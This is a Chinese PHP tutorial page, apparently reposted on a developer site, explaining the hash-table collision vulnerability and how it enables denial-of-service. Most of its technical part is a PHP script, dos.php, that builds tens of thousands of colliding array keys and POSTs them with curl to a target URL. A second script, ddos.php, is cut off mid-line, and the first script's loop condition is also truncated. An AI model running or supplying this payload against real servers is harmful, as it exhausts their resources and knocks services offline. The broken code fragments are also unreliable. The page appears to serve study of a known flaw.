Home  >  Article  >  Backend Development  >  PHP利用hash冲突漏洞进行DDoS攻击的方法分析_PHP教程

PHP利用hash冲突漏洞进行DDoS攻击的方法分析_PHP教程

WBOY
WBOYOriginal
2016-07-13 10:00:11876browse

PHP利用hash冲突漏洞进行DDoS攻击的方法分析

 这篇文章主要介绍了PHP利用hash冲突漏洞进行DDoS攻击的方法,实例分析了php利用hash进行DDoS攻击的原理与实现技巧,需要的朋友可以参考下

 

 

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

// 目标地址

// 只要目标地址存在,不用管它是干嘛的

$host = 'http://127.0.0.1/test.php';

$data = '';

$size = pow(2, 15);

for ($key=0, $max=($size-1)*$size; $key

{

$data .= '&array[' . $key . ']=0';

}

$ret = curl($host, ltrim($data,'&'));

var_dump($ret);

function curl($url, $post, $timeout = 30){

$ch = curl_init();

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);

curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

$output = curl_exec($ch);

if ($output === false) return false;

$info = curl_getinfo($ch);

$http_code = $info['http_code'];

if ($http_code == 404) return false;

curl_close($ch);

return $output;

}

文件:ddos.php

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

DDOS

for($i=0; $i

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn